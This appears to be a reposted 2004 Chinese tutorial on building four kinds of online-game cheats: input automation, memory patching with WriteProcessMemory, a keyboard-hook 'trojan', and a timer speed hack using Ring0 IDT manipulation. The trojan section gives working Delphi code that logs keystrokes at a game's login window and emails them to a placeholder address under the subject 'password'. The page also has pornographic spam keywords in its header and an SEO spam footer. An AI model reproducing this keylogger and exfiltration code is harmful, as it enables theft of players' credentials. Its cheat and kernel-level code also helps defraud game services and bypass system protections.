成人午夜激情影院,小视频免费在线观看,国产精品夜夜嗨,欧美日韩精品一区二区在线播放

當(dāng)前位置:首頁>>開發(fā)編程>>綜合開發(fā)>>新聞內(nèi)容
四種網(wǎng)絡(luò)游戲外掛的設(shè)計(jì)方法
作者:mprogramer 發(fā)布時(shí)間:2004-6-23 22:51:52 文章來源:西部E網(wǎng)

  在幾年前我看到別人玩網(wǎng)絡(luò)游戲用上了外掛,做為程序員的我心里實(shí)在是不爽,想搞清楚這到底是怎么回事。就拿了一些來研究,小有心得,拿出來與大家共享,外掛無非就是分幾種罷了(依制作難度):

  1、動(dòng)作式,所謂動(dòng)作式,就是指用API發(fā)命令給窗口或API控制鼠標(biāo)、鍵盤等,使游戲里的人物進(jìn)行流動(dòng)或者攻擊,最早以前的“石器”外掛就是這種方式。(這種外掛完全是垃圾,TMD,只要會(huì)一點(diǎn)點(diǎn)API的人都知道該怎么做,不過這種外掛也是入門級(jí)的好東東,雖然不能提高你的戰(zhàn)斗力,但是可以提高你的士氣)

  2、本地修改式,這種外掛跟傳統(tǒng)上的一些游戲修改器沒有兩樣,做這種外掛在編程只需要對(duì)內(nèi)存地址有一點(diǎn)認(rèn)識(shí)并且掌握API就可以實(shí)現(xiàn),“精靈”的外掛這是這種方式寫成的,它的難點(diǎn)在于找到那些地址碼,找地址一般地要借助于別人的工具,有的游戲還有雙碼校驗(yàn),正正找起來會(huì)比較困難。(這種外掛,比上一種有一點(diǎn)點(diǎn)難度,但是這種外掛做起來能夠用,也是有一定難度的啦~~,這種外掛可以很快提升你對(duì)內(nèi)存地址的理解及應(yīng)用,是你編程技術(shù)提高的好東東)

  3、木馬式,這種外掛的目的是幫外掛制作者偷到用戶的密碼(TMD,“爛”就一個(gè)字,不過要知已知彼所以還是要談一下啦~~),做這種外掛有一定的難度,需要HOOK或鍵盤監(jiān)視技術(shù)做底子,才可以完成,它的原理是先首截了用戶的帳號(hào)或密碼,然后發(fā)到指定郵箱。(我以前寫過這樣的東東,但是從來沒有用過,我知道這種東東很不道德,所以以后千萬別用呀!)

  4、加速式,這種外掛可以加快游戲的速度……(對(duì)不起大家,這種東東我沒有實(shí)際做過,所以不能妄自評(píng),慚愧)

  這幾種外掛之中,前三種可以用VB,Delphi等語言比較好實(shí)現(xiàn),后兩種則要用VC等底層支持比較好的編程工具才好實(shí)現(xiàn)。

  動(dòng)作式外掛

  首先,先來談一下動(dòng)作式的外掛,這也是我第一次寫外掛時(shí)做的最簡(jiǎn)單的一種。

  記得還在“石器”時(shí)代的時(shí)候,我看到別人掛著一種軟件(外掛)人物就可以四外游走(當(dāng)時(shí)我還不知道外掛怎么回事),于是找了這種軟件過來研究(拿來后才聽別人說這叫外掛),發(fā)現(xiàn)這種東東其實(shí)實(shí)現(xiàn)起來并不難,仔佃看其實(shí)人物的行走無非就是鼠標(biāo)在不同的地方點(diǎn)來點(diǎn)去而已,看后就有實(shí)現(xiàn)這功能的沖動(dòng),隨后跑到MSDN上看了一些資料,發(fā)現(xiàn)這種實(shí)現(xiàn)這幾個(gè)功能,只需要幾個(gè)簡(jiǎn)單的API函數(shù)就可以搞定:

  1、首先我們要知道現(xiàn)在鼠標(biāo)的位置(為了好還原現(xiàn)在鼠標(biāo)的位置)所以我們就要用到API函數(shù)GetCursorPos,它的使用方法如下:

BOOL GetCursorPos(
LPPOINT lpPoint // address of structure for cursor position
);


   2、我們把鼠標(biāo)的位置移到要到人物走到的地方,我們就要用到SetCursorPos函數(shù)來移動(dòng)鼠標(biāo)位置,它的使用方法如下:

BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);


  3、模擬鼠標(biāo)發(fā)出按下和放開的動(dòng)作,我們要用到mouse_event函數(shù)來實(shí)現(xiàn),具休使用方法用下:

VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);


  在它的dwFlags處,可用的事件很多如移動(dòng)MOUSEEVENTF_MOVE,左鍵按下MOUSEEVENTF_LEFTDOWN,左鍵放開MOUSEEVENTF_LEFTUP,具體的東東還是查一下MSDN吧~~~~~

   好了,有了前面的知識(shí),我們就可以來看看人物移走是怎么實(shí)現(xiàn)的了:

getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是個(gè)自制的隨機(jī)坐標(biāo)函數(shù)
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);


  看了以上的代碼,是不是覺得人物的游走很簡(jiǎn)單啦~~,舉一仿三,還有好多好東東可以用這個(gè)技巧實(shí)現(xiàn)(我早就說過,TMD,這是垃圾外掛的做法,相信了吧~~~),接下來,再看看游戲里面自動(dòng)攻擊的做法吧(必需游戲中攻擊支持快捷鍵的),道理還是一樣的,只是用的API不同罷了~~~,這回我們要用到的是keybd_event函數(shù),其用法如下:


VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);


  我們還要知道掃描碼不可以直接使用,要用函數(shù)MapVirtualKey把鍵值轉(zhuǎn)成掃描碼,MapVirtualKey的具體使用方法如下:

UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);


  好了,比說此快接鍵是CTRL+A,接下來讓我們看看實(shí)際代碼是怎么寫的:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);


  首先模擬按下了CTRL鍵,再模擬按下A鍵,再模擬放開A鍵,最后放開CTRL鍵,這就是一個(gè)模擬按快捷鍵的周期。

  (看到這里,差不多對(duì)簡(jiǎn)易外掛有了一定的了解了吧~~~~做一個(gè)試試?如果你舉一仿三還能有更好的東東出來,這就要看你的領(lǐng)悟能力了~~,不過不要高興太早這只是才開始,以后還有更復(fù)雜的東東等著你呢~~)

  本地修改式外掛

  現(xiàn)在我們來看看,比動(dòng)作式外掛更進(jìn)一步的外掛——本地修改式外掛的整個(gè)制作過程進(jìn)行一個(gè)詳細(xì)的分解。

  具我所知,本地修改式外掛最典型的應(yīng)用就是在“精靈”游戲上面,因?yàn)槲以诮荒昵埃ā熬`”還在測(cè)試階段),我所在的公司里有很多同事玩“精靈”,于是我看了一下游戲的數(shù)據(jù)處理方式,發(fā)現(xiàn)它所發(fā)送到服務(wù)器上的信息是存在于內(nèi)存當(dāng)中(我看后第一個(gè)感受是:修改這種游戲和修改單機(jī)版的游戲沒有多大分別,換句話說就是在他向服務(wù)器提交信息之前修改了內(nèi)存地址就可以了),當(dāng)時(shí)我找到了地址于是修改了內(nèi)存地址,果然,按我的想法修改了地址,讓系統(tǒng)自動(dòng)提交后,果然成功了~~~~~,后來“精靈”又改成了雙地址校檢,內(nèi)存校檢等等,在這里我就不廢話了~~~~,OK,我們就來看看這類外掛是如何制作的:

  在做外掛之前我們要對(duì)Windows的內(nèi)存有個(gè)具體的認(rèn)識(shí),而在這里我們所指的內(nèi)存是指系統(tǒng)的內(nèi)存偏移量,也就是相對(duì)內(nèi)存,而我們所要對(duì)其進(jìn)行修改,那么我們要對(duì)幾個(gè)Windows API進(jìn)行了解,OK,跟著例子讓我們看清楚這種外掛的制作和API的應(yīng)用(為了保證網(wǎng)絡(luò)游戲的正常運(yùn)行,我就不把找內(nèi)存地址的方法詳細(xì)解說了):

  1、首先我們要用FindWindow,知道游戲窗口的句柄,因?yàn)槲覀円ㄟ^它來得知游戲的運(yùn)行后所在進(jìn)程的ID,下面就是FindWindow的用法:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);


  2、我們GetWindowThreadProcessId來得到游戲窗口相對(duì)應(yīng)進(jìn)程的進(jìn)程ID,函數(shù)用法如下:

DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);

  3、得到游戲進(jìn)程ID后,接下來的事是要以最高權(quán)限打開進(jìn)程,所用到的函數(shù)OpenProcess的具體使用方法如下:

HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);


  在dwDesiredAccess之處就是設(shè)存取方式的地方,它可設(shè)的權(quán)限很多,我們?cè)谶@里使用只要使用PROCESS_ALL_ACCESS 來打開進(jìn)程就可以,其他的方式我們可以查一下MSDN。

  4、打開進(jìn)程后,我們就可以用函數(shù)對(duì)存內(nèi)進(jìn)行操作,在這里我們只要用到WriteProcessMemory來對(duì)內(nèi)存地址寫入數(shù)據(jù)即可(其他的操作方式比如說:ReadProcessMemory等,我在這里就不一一介紹了),我們看一下WriteProcessMemory的用法:

BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);


  5、下面用CloseHandle關(guān)閉進(jìn)程句柄就完成了。

  這就是這類游戲外掛的程序?qū)崿F(xiàn)部份的方法,好了,有了此方法,我們就有了理性的認(rèn)識(shí),我們看看實(shí)際例子,提升一下我們的感性認(rèn)識(shí)吧,下面就是XX游戲的外掛代碼,我們照上面的方法對(duì)應(yīng)去研究一下吧:

const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow('XX', nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;


  這個(gè)游戲是用了多地址對(duì)所要提交的數(shù)據(jù)進(jìn)行了校驗(yàn),所以說這類游戲外掛制作并不是很難,最難的是要找到這些地址。

  木馬式外掛

  木馬式外掛,可能大多像木馬吧,是幫助做外掛的人偷取別人游戲的帳號(hào)及密碼的東東。因?yàn)榫W(wǎng)絡(luò)上有此類外掛的存在,所以今天不得不說一下(我個(gè)人是非常討厭這類外掛的,請(qǐng)看過本文的朋友不要到處亂用此技術(shù),謝謝合作)。要做此類外掛的程序?qū)崿F(xiàn)方法很多(比如HOOK,鍵盤監(jiān)視等技術(shù)),因?yàn)镠OOK技術(shù)對(duì)程序員的技術(shù)要求比較高并且在實(shí)際應(yīng)用上需要多帶一個(gè)動(dòng)態(tài)鏈接庫,所以在文中我會(huì)以鍵盤監(jiān)視技術(shù)來實(shí)現(xiàn)此類木馬的制作。鍵盤監(jiān)視技術(shù)只需要一個(gè).exe文件就能實(shí)現(xiàn)做到后臺(tái)鍵盤監(jiān)視,這個(gè)程序用這種技術(shù)來實(shí)現(xiàn)比較適合。

  在做程序之前我們必需要了解一下程序的思路:

  1、我們首先知道你想記錄游戲的登錄窗口名稱。

  2、判斷登錄窗口是否出現(xiàn)。

  3、如果登錄窗口出現(xiàn),就記錄鍵盤。

  4、當(dāng)窗口關(guān)閉時(shí),把記錄信息,通過郵件發(fā)送到程序設(shè)計(jì)者的郵箱。

  第一點(diǎn)我就不具體分析了,因?yàn)槟銈儽任疫要了解你們玩的是什么游戲,登錄窗口名稱是什么。從第二點(diǎn)開始,我們就開始這類外掛的程序?qū)崿F(xiàn)之旅:

  那么我們要怎么樣判斷登錄窗口雖否出現(xiàn)呢?其實(shí)這個(gè)很簡(jiǎn)單,我們用FindWindow函數(shù)就可以很輕松的實(shí)現(xiàn)了:

HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);


  實(shí)際程序?qū)崿F(xiàn)中,我們要找到'xx'窗口,就用FindWindow(nil,'xx')如果當(dāng)返回值大于0時(shí)表示窗口已經(jīng)出現(xiàn),那么我們就可以對(duì)鍵盤信息進(jìn)行記錄了。

  先首我們用SetWindowsHookEx設(shè)置監(jiān)視日志,而該函數(shù)的用法如下:

HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);


  在這里要說明的是在我們程序當(dāng)中我們要對(duì)HOOKPROC這里我們要通過寫一個(gè)函數(shù),來實(shí)現(xiàn)而HINSTANCE這里我們直接用本程序的HINSTANCE就可以了,具體實(shí)現(xiàn)方法為:

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);


  而HOOKPROC里的函數(shù)就要復(fù)雜一點(diǎn)點(diǎn):

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then file://如果發(fā)現(xiàn)窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于鍵盤按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通過keyhookresult(自定義的函數(shù),主要功能是轉(zhuǎn)換截獲的消息參數(shù)為按鍵名稱。我會(huì)在文章尾附上轉(zhuǎn)化函數(shù)的)轉(zhuǎn)換消息。
if length(hookkey) > 0 then file://如果獲得按鍵名稱
begin
Write(hookkeyFile,hookkey); file://把按鍵名稱寫入文本文件
hookkey := '';
end;
end;
end;


  以上就是記錄鍵盤的整個(gè)過程,簡(jiǎn)單吧,如果記錄完可不要忘記釋放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是創(chuàng)建setwindowshookex后所返回的句柄。

  我們已經(jīng)得到了鍵盤的記錄,那么現(xiàn)在最后只要把記錄的這些信息發(fā)送回來,我們就大功造成了。其他發(fā)送這塊并不是很難,只要把記錄從文本文件里邊讀出來,用DELPHI自帶的電子郵件組件發(fā)一下就萬事OK了。代碼如下:

assignfile(ReadFile,'hook.txt'); file://打開hook.txt這個(gè)文本文件
reset(ReadFile); file://設(shè)為讀取方式
try
While not Eof(ReadFile) do file://當(dāng)沒有讀到文件尾
begin
Readln(ReadFile,s,j); file://讀取文件行
body:=body+s;
end;
finally
closefile(ReadFile); file://關(guān)閉文件
end;
nmsmtp1.EncodeType:=uuMime; file://設(shè)置編碼
nmsmtp1.PostMessage.Attachments.Text:=''; file://設(shè)置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; file://設(shè)置源郵件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /設(shè)置目標(biāo)郵件地址
nmsmtp1.PostMessage.Body.Text:='密碼'+' '+body; file://設(shè)置郵件內(nèi)容
nmsmtp1.PostMessage.Subject:='password'; file://設(shè)置郵件標(biāo)題
nmsmtp1.SendMail; file://發(fā)送郵件


  這個(gè)程序全部功能已經(jīng)實(shí)現(xiàn),編編試試。

  加速型外掛

  原本我一直以為加速外掛是針對(duì)某個(gè)游戲而寫的,后來發(fā)現(xiàn)我這種概念是不對(duì)的,所謂加速外掛其實(shí)是修改時(shí)鐘頻率達(dá)到加速的目的。

  以前DOS時(shí)代玩過編程的人就會(huì)馬上想到,這很簡(jiǎn)單嘛不就是直接修改一下8253寄存器嘛,這在以前DOS時(shí)代可能可以行得通,但是windows則不然。windows是一個(gè)32位的操作系統(tǒng),并不是你想改哪就改哪的(微軟的東東就是如此霸氣,說不給你改就不給你改),但要改也不是不可能,我們可以通過兩種方法來實(shí)現(xiàn):第一是寫一個(gè)硬件驅(qū)動(dòng)來完成,第二是用Ring0來實(shí)現(xiàn)(這種方法是CIH的作者陳盈豪首用的,它的原理是修改一下IDE表->創(chuàng)建一個(gè)中斷門->進(jìn)入Ring0->調(diào)用中斷修改向量,但是沒有辦法只能用ASM匯編來實(shí)現(xiàn)這一切*_*,做為高級(jí)語言使用者慘啦!),用第一種方法用點(diǎn)麻煩,所以我們?cè)谶@里就用第二種方法實(shí)現(xiàn)吧~~~

  在實(shí)現(xiàn)之前我們來理一下思路吧:

  1、我們首先要寫一個(gè)過程在這個(gè)過程里嵌入?yún)R編語言來實(shí)現(xiàn)修改IDE表、創(chuàng)建中斷門,修改向量等工作

  2、調(diào)用這個(gè)過程來實(shí)現(xiàn)加速功能

  好了,現(xiàn)在思路有了,我們就邊看代碼邊講解吧:

  首先我們建立一個(gè)過程,這個(gè)過程就是本程序的核心部份:

procedure SetRing(value:word); stdcall;
const ZDH = $03; // 設(shè)一個(gè)中斷號(hào)
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放舊向量
begin
asm
push ebx
sidt IDT //讀入中斷描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //計(jì)算中斷在中斷描述符表中的位置
cli //關(guān)中斷
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0級(jí)代碼段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中斷
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢復(fù)被改了的向量
pop ebx
jmp @@exitasm //到exitasm處
@@Ring0: //Ring0,這個(gè)也是最最最核心的東東
mov al,$34 //寫入8253控制寄存器
out $43,al
mov ax,value //寫入定時(shí)值
out $40,al //寫定時(shí)值低位
mov al,ah
out $40,al //寫定時(shí)值高位
iretd //返回
@@exitasm:
end;
end;

  最核心的東西已經(jīng)寫完了,大部份讀者是知其然不知其所以然吧,呵呵,不過不知其所以然也然。下面我們就試著用一下這個(gè)過程來做一個(gè)類似于“變速齒輪”的一個(gè)東東吧!

  先加一個(gè)窗口,在窗口上放上一個(gè)trackbar控件把其Max設(shè)為20,Min設(shè)為1,把Position設(shè)為10,在這個(gè)控件的Change事件里寫上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

  因?yàn)閣indows默認(rèn)的值為$1742,所以我們把1742做為基數(shù),又因?yàn)橹翟叫≡娇欤粗铰脑恚詫懥诉@樣一個(gè)公式,好了,這就是“變速齒輪”的一個(gè)Delphi+ASM版了(只適用于win9X),呵呵,試一下吧,這對(duì)你幫助會(huì)很大的,呵呵。

  在win2000里,我們不可能實(shí)現(xiàn)在直接對(duì)端口進(jìn)行操作,Ring0也失了效,有的人就會(huì)想到,我們可以寫驅(qū)動(dòng)程序來完成呀,但在這里我告訴你,windows2000的驅(qū)動(dòng)不是一個(gè)VxD就能實(shí)現(xiàn)的,像我這樣的低手是寫不出windows所用的驅(qū)動(dòng)WDM的,沒辦法,我只有借助外力實(shí)現(xiàn)了,ProtTalk就是一個(gè)很好的設(shè)備驅(qū)動(dòng),他很方便的來實(shí)現(xiàn)對(duì)低層端口的操作,從而實(shí)現(xiàn)加速外掛。

  1、我們首先要下一個(gè)PortTalk驅(qū)動(dòng),他的官方網(wǎng)站是http://www.beyondlogic.org

  2、我們要把里面的prottalk.sys拷貝出來。

  3、建立一個(gè)Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下個(gè)pas文件自己看吧)

  4、實(shí)現(xiàn)加速外掛。

  下面就講一下這程序的實(shí)現(xiàn)方法吧,如果說用ProtTalk來操作端口就容易多了,比win98下用ring權(quán)限操作方便。

  1、新建一個(gè)工程,把剛剛下的接口文件和Protalk.sys一起拷到工程文件保存的文件夾下。

  2、我們?cè)谖覀冃陆ǖ墓こ碳尤胛覀兊慕涌谖募?BR>
uses
windows,ProtTalk……

  3、我們建立一個(gè)過程

procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

  4、先加一個(gè)窗口,在窗口上放上一個(gè)trackbar控件把其Max設(shè)為20,Min設(shè)為1,把Position設(shè)為10,在這個(gè)控件的Change事件里寫上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

  就這么容易。


最新更新
·wml中頁面自動(dòng)跳轉(zhuǎn)的實(shí)現(xiàn)方法
·Alexa排名數(shù)據(jù)接口的簡(jiǎn)要介紹
·利用U盤進(jìn)行軟件加密的方法(VB)
·優(yōu)秀程序員的十個(gè)習(xí)慣
·項(xiàng)目管理:如何逃離垃圾客戶
·QQ2009去廣告部分核心源代碼
·讓程序更容易理解:13個(gè)代碼注釋的小技
·nx1和nx2后綴名是什么數(shù)據(jù)庫文件?
·正則表達(dá)式符號(hào)解釋大全
·什么是RIA?介紹幾種RIA客戶端開發(fā)技術(shù)
相關(guān)信息
畫心
愚愛
偏愛
火苗
白狐
畫沙
犯錯(cuò)
歌曲
傳奇
稻香
小酒窩
獅子座
小情歌
全是愛
棉花糖
海豚音
我相信
甩蔥歌
這叫愛
shero
走天涯
琉璃月
Nobody
我愛他
套馬桿
愛是你我
最后一次
少女時(shí)代
灰色頭像
斷橋殘雪
美了美了
狼的誘惑
我很快樂
星月神話
心痛2009
愛丫愛丫
半城煙沙
旗開得勝
郎的誘惑
愛情買賣
2010等你來
我叫小沈陽
i miss you
姑娘我愛你
我們都一樣
其實(shí)很寂寞
我愛雨夜花
變心的玫瑰
犀利哥之歌
你是我的眼
你是我的OK繃
貝多芬的悲傷
哥只是個(gè)傳說
丟了幸福的豬
找個(gè)人來愛我
要嫁就嫁灰太狼
如果這就是愛情
我們沒有在一起
寂寞在唱什么歌
斯琴高麗的傷心
別在我離開之前離開
不是因?yàn)榧拍畔肽?/a>
愛上你等于愛上了錯(cuò)
在心里從此永遠(yuǎn)有個(gè)你
一個(gè)人的寂寞兩個(gè)人的錯(cuò)
主站蜘蛛池模板: 扶风县| 齐齐哈尔市| 桂阳县| 柳江县| 夹江县| 平乐县| 盱眙县| 白水县| 光泽县| 江达县| 山东省| 巫溪县| 余姚市| 廉江市| 西林县| 韶关市| 绵竹市| 洪江市| 漳州市| 同德县| 从化市| 读书| 株洲县| 秦皇岛市| 汾西县| 崇礼县| 华坪县| 涪陵区| 南阳市| 辛集市| 浮山县| 屏南县| 竹溪县| 横峰县| 正宁县| 平罗县| 罗江县| 新建县| 尼木县| 哈密市| 金门县|